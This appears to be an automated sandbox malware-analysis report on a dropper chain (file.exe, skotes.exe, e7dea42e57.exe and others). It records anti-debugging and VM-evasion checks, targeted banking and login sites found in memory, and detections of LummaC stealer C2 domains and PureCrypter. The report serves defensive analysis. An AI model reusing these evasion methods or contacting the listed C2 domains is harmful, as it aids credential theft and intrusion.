Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: e7dea42e57.exe, 0000001C.00000002.3253583808.0000000005381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}II
Source: file.exe, 00000000.00000002.2500046632.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: e7dea42e57.exe, 00000017.00000002.3093556236.000000000166A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: file.exe, 00000000.00000002.2500046632.0000000000E80000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2951272689.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3093556236.00000000015D7000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 00000018.00000002.2855713450.0000000001121000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 00000018.00000002.2855713450.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.000000000044F000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3242706666.000000000048C000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: e7dea42e57.exe, 00000017.00000002.3093556236.000000000166A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: e7dea42e57.exe, 00000017.00000003.3043300375.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__!L
Source: e7dea42e57.exe, 00000017.00000002.3093556236.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000002.2500046632.0000000000E80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: e7dea42e57.exe, 00000017.00000002.3106952463.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: e7dea42e57.exe, 0000001C.00000002.3253583808.0000000005381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 6cb554c070.exe, 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: file.exe, file.exe, 00000000.00000002.2498548675.00000000005E2000.00000040.00000001.01000000.00000003.sdmp, DocumentsKFBGDBFBKK.exe, DocumentsKFBGDBFBKK.exe, 00000014.00000002.2598376869.00000000003CF000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000015.00000002.2643218582.00000000002DF000.00000040.00000001.01000000.0000000E.sdmp, e7dea42e57.exe, 00000017.00000002.3114670851.0000000006786000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3089786547.0000000000BAE000.00000040.00000001.01000000.0000000F.sdmp, 6cb554c070.exe, 00000018.00000002.2853550667.00000000007D2000.00000040.00000001.01000000.00000010.sdmp, e7dea42e57.exe, 0000001C.00000003.3156653655.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3254696004.0000000005BC6000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3157137056.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3245785502.0000000000BAE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsKFBGDBFBKK.exe, 00000014.00000003.2522083572.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: e7dea42e57.exe, 0000001C.00000002.3242706666.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2498548675.00000000005E2000.00000040.00000001.01000000.00000003.sdmp, DocumentsKFBGDBFBKK.exe, 00000014.00000002.2598376869.00000000003CF000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2643218582.00000000002DF000.00000040.00000001.01000000.0000000E.sdmp, e7dea42e57.exe, 00000017.00000002.3114670851.0000000006786000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3089786547.0000000000BAE000.00000040.00000001.01000000.0000000F.sdmp, 6cb554c070.exe, 00000018.00000002.2853550667.00000000007D2000.00000040.00000001.01000000.00000010.sdmp, e7dea42e57.exe, 0000001C.00000002.3254696004.0000000005BC6000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3245785502.0000000000BAE000.00000040.00000001.01000000.0000000F.sdmp, b39ed05e31.exe, 0000001D.00000002.3090176435.0000000000DA6000.00000040.00000001.01000000.00000011.sdmp, 6cb554c070.exe, 0000001E.00000002.3043640406.00000000007D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: e7dea42e57.exe, 00000022.00000003.3224552936.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

Code function: 20_2_05380E91 rdtsc

20_2_05380E91

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_0021652B mov eax, dword ptr fs:[00000030h]	20_2_0021652B
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_0021A302 mov eax, dword ptr fs:[00000030h]	20_2_0021A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0012A302 mov eax, dword ptr fs:[00000030h]	21_2_0012A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0012652B mov eax, dword ptr fs:[00000030h]	21_2_0012652B

Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7544, type: MEMORYSTR

Detected PureCrypter Trojan

Source: e7dea42e57.exe, 0000001C.00000003.2956363504.00000000052A3000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures":["msNurturingCIPasswordZeroStateV2"],"parameters":

LummaC encrypted strings found

Source: e7dea42e57.exe, 00000017.00000002.3089474694.00000000009D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: e7dea42e57.exe, 00000017.00000002.3089474694.00000000009D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: e7dea42e57.exe, 00000017.00000002.3089474694.00000000009D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: peepburry828.sbs
Source: e7dea42e57.exe, 00000017.00000002.3089474694.00000000009D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: p10tgrace.sbs
Source: e7dea42e57.exe, 00000017.00000002.3089474694.00000000009D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKFBGDBFBKK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKFBGDBFBKK.exe "C:\Users\user\DocumentsKFBGDBFBKK.exe"
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe "C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe"
